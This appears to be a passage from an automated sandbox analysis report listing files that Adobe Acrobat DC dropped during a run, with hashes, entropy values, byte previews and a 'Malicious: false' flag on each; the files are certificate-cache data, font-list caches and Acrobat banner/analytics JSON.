Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7177881616921042
Encrypted:	false
SSDEEP:	3:kkFklGC4DtfllXlE/HT8k1fhttNNX8RolJuRdxLlGB9lQRYwpDdt:kKfCQeT88pVNMa8RdWBwRd
MD5:	8A9857A702DD84D5D63C2D6583C021B7
SHA1:	171FDBDA8247767ABFADBBF5106D4B5A0C95D018
SHA-256:	8106D2C7C75E8C067856D7E26ED6815F5DB6D9E7753DE2D9120E1BD6577BE988
SHA-512:	E31F7DDD498820A057C9B3737DA575DF6C12165643ED87AF0AA9ED6076431CE8493684AE4CDEE99FEBBF1E49E045444D5FDFEA52F5021929B5FF2CA0364FC0A0
Malicious:	false
Preview:	p...... ..........5..c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kKlmEksL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:N1iDImsLNkPlE99SNxAhUe/3
MD5:	5D5E81A3D7FC438DCC121813316D998B
SHA1:	2406899D08D8A29A9194FC2022EEE1B046D52E43
SHA-256:	867AF3DEB16183D6355992F155183959060969CB8E32F4D753BCBD9EDB05E868
SHA-512:	3ECCFB76ABB38C56CCA5892B9456632B323BC2D181E32E4583070A9838E0981B30CFC8AA8961736E42EC8B3EB069564F0385C61D957E4DFFF2E2F21BF71D1426
Malicious:	false
Preview:	p...... ...........!.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2752

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.2752

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.346755785551309
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfPTwM6bRK7+FIbRI6XVW7+0YBoAvJM3g98kUwPeUkwRe9:YvXKXjfo5YpW7LGMbLUkee9
MD5:	3787A1F23C869C0EC02DD68EB31ACD9D
SHA1:	12128265C594F6785BEA9FB45D8311216634468C
SHA-256:	5328093570A76D5CA2264CABDFB365D17DC8C9FFEE726F61F6A9238BFB9B2359
SHA-512:	FE64FE8F7C1AFF2B65FFA0C7296CBE45A80359C6FE7DFE7F4A6FCDDFA1262F5CB3B9DC4D03AE5EA53C053D449010793A2BE8BA950D82DB491CBE4CF6A4F89839
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7706baa6-8e45-4f48-b15c-e44963549e2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738215809,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.28420709923713
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfPTwM6bRK7+FIbRI6XVW7+0YBoAvJfBoTfXpnrPeUkwRe9:YvXKXjfo5YpW7LGWTfXcUkee9
MD5:	187B9286280703D8926F9C76A8ED6AFF
SHA1:	818309A651D29402334D988E8E42F78648297D58
SHA-256:	15D92CB200373709AF60230D63B63448557465B7DC1BEC94DCD6C2EB1A4908B0
SHA-512:	70B0C8D4DF8C1F823180BE291AB3A581844D1535011F39F506471FC0A7F66362E2DA3F3AE051C18B2155FDBC4DD953059D5150487AEE2B1A579EB2B0BB0849E1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7706baa6-8e45-4f48-b15c-e44963549e2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738215809,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.263028174282728
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfPTwM6bRK7+FIbRI6XVW7+0YBoAvJfBD2G6UpnrPeUkwRe9:YvXKXjfo5YpW7LGR22cUkee9
MD5:	9BDD2E770EC50C1EB5AE678A3FE65D17
SHA1:	E6EBA8CDEE6FF7022F38C4DCCABBFAAD82CD13BD
SHA-256:	8C52B5249F7945339ADE80A49B2644B2B35FC1C4172B0EB2E35A97889494A198
SHA-512:	A5E69CFE794E2E9536123C7146DDCDF76E4C89FDB1BFC100CF9979E1C5A923858213983B8CC7EAC6D8F9C9E72AAB438742A6C5B15BD6A11DFCA14FDAC6DE4AA3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7706baa6-8e45-4f48-b15c-e44963549e2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738215809,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.325065940371355
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfPTwM6bRK7+FIbRI6XVW7+0YBoAvJfPmwrPeUkwRe9:YvXKXjfo5YpW7LGH56Ukee9
MD5:	3F04D960C1689C35D7AFC1F8439FFA91
SHA1:	7AD2D571312239E0B08A85C2C680D91ED7656A2F
SHA-256:	7EA1345F0E8A1C1666F30814F18511A2571632F5A1E1459533059E04A7FF9BB8
SHA-512:	E3BAF8D3D9A1CD0254C8891F9149108EC7C57F5F9A6E47A6C2AE878601F57646DBF5D7DE72C60014809F58106ECB90BAAFA5EB910FD87397E3185D270DF85599
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7706baa6-8e45-4f48-b15c-e44963549e2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738215809,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690730583109256
Encrypted:	false
SSDEEP:	24:Yv6Xjfo6iApLgE9cQx8LennAvzBvkn0RCmK8czOCCSaY:YvEoVAhgy6SAFv5Ah8cv/aY
MD5:	F10266E02735778BE87CAFB1F2015257
SHA1:	FB57082B1D448D1D18E267323FC050458AC273E0
SHA-256:	C0D8EDCB7C41291B1E78BF25E19ED2CF79E7C9A1AF5B86DB9800015D3761832B
SHA-512:	8421D3860807ED441C2D186FAC940A863F990953B9CAAFE894D1FE6880EC3E048842EBB1BF7EDA604F786A5067EDD74AF280FA2FD1585EA0189BF9BD1246F87D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7706baa6-8e45-4f48-b15c-e44963549e2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738215809,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.271309384330974
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfPTwM6bRK7+FIbRI6XVW7+0YBoAvJf8dPeUkwRe9:YvXKXjfo5YpW7LGU8Ukee9
MD5:	C1F7992D169FCDC3F99D7692C6E1492C
SHA1:	51D34A17924CCA79E0337032EEC71672EBB77AB1
SHA-256:	65F05AF27FB37DF2820C145C2557462C7833122A77583C5948CD67C520D8286C
SHA-512:	498A80536C8CAD9347734A875173C067D68C6207DDFA5ECE34328FD5DF32F95F9B64A043D036EA970DFDAF76D918D964D32B7DF8C898E998D5B559D5CEC2A68F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7706baa6-8e45-4f48-b15c-e44963549e2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738215809,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.272302923619602
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfPTwM6bRK7+FIbRI6XVW7+0YBoAvJfQ1rPeUkwRe9:YvXKXjfo5YpW7LGY16Ukee9
MD5:	C8348F75839F5F838629F8B102E250CC
SHA1:	EA0E9DE2A8859BBAA173225C17D8E971A5462040
SHA-256:	0EFA00AFD0E13A24FDCDA6C80540BC5626336C7DD0B9F567C00D464840C9A947
SHA-512:	1DF3299A491BB1FBD5F124AB0776B0BFA5AB616ECCF0C21B9114E154A1453D555A4A88FC78D6499ABAA15C4627E5E9A733769B3072DA7A7EE13AB2A219BE8FDA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7706baa6-8e45-4f48-b15c-e44963549e2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738215809,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.294092955740485
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfPTwM6bRK7+FIbRI6XVW7+0YBoAvJfFldPeUkwRe9:YvXKXjfo5YpW7LGz8Ukee9
MD5:	1B2579ED37C6C176B4928FC827587E9F
SHA1:	228939018152D49B1B65B47DC6194465E0C89D9B
SHA-256:	366D62BC1AA85C22765559299184DBAF1E2FCA07DFCEF3DE3932DC79BDF6E868
SHA-512:	163F641F364635C3DDA4E5A57B8F1203FF1C52D81C856026146AB66219989E2F7ED3F09990A9709C5E714AA9F950BDBB372F3CEDFF8F8A9F068309C73811562C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7706baa6-8e45-4f48-b15c-e44963549e2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738215809,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.298787522758967
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfPTwM6bRK7+FIbRI6XVW7+0YBoAvJfzdPeUkwRe9:YvXKXjfo5YpW7LGb8Ukee9
MD5:	17835DF88CD3D994ACD9A3309D6C7AAB
SHA1:	4CABB44B98F70E4BCEA94767DE5FF6ABAF7777A5
SHA-256:	867FFDE8831E9A05A447CE9ACEA0621DA9748B2D37D4BE24061A3B29803CE638
SHA-512:	E75C1F32C6BB2D944B16E34A8D186CE5756153689F6651BD249D8C87CD4E89C13140A982342FBD261321DBC5206EBADA669743F9A91A9EB22ED347D6F22F0996
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7706baa6-8e45-4f48-b15c-e44963549e2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738215809,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.279004080103734
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfPTwM6bRK7+FIbRI6XVW7+0YBoAvJfYdPeUkwRe9:YvXKXjfo5YpW7LGg8Ukee9
MD5:	DC67484187C3A7DB9AA54434239F771F
SHA1:	73A6942039ABF83ED572E3D4749FB9127E94D2BD
SHA-256:	7C7D1917EFAF3E30739F1027BC151E5B079DCF7CC493A47AE99ED9BDE128409A
SHA-512:	6CA02D780CEED75A1086C82A6DA7DBCD61C9DF5CEF30AB6B3933C41253EB92634A34C6CF9081ABB2D138C5D5943F121CAB9A1B4A1DCCB09DAF7D4C9C5B4AF4F0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7706baa6-8e45-4f48-b15c-e44963549e2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738215809,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.265266160070021
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfPTwM6bRK7+FIbRI6XVW7+0YBoAvJf+dPeUkwRe9:YvXKXjfo5YpW7LG28Ukee9
MD5:	A4FDD943779148751DE6437F88CBBA10
SHA1:	AC9F522FF16B55EC372DA31B9E07806B0DAD2D60
SHA-256:	45488E0630ADAE3DB7CAD39CE2426C759D117251E35266E678ADFDDFC71500B2
SHA-512:	BC55E399D15E0F0F9ADF8EEB4A0DF069D719F8D2A8DACBA3B7DF68305B2FF58FC8655221056D1D4FF738958E0E64E7B830BBBBD74ABF56178F4F53B9F5731BFD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"7706baa6-8e45-4f48-b15c-e44963549e2c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736738215809,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.262695479632555
Encrypted:	false
SSDEEP:	6:YEQXJ2HXfPTwM6bRK7+FIbRI6XVW7+0YBoAvJfbPtdPeUkwRe9:YvXKXjfo5YpW7LGDV8Ukee9
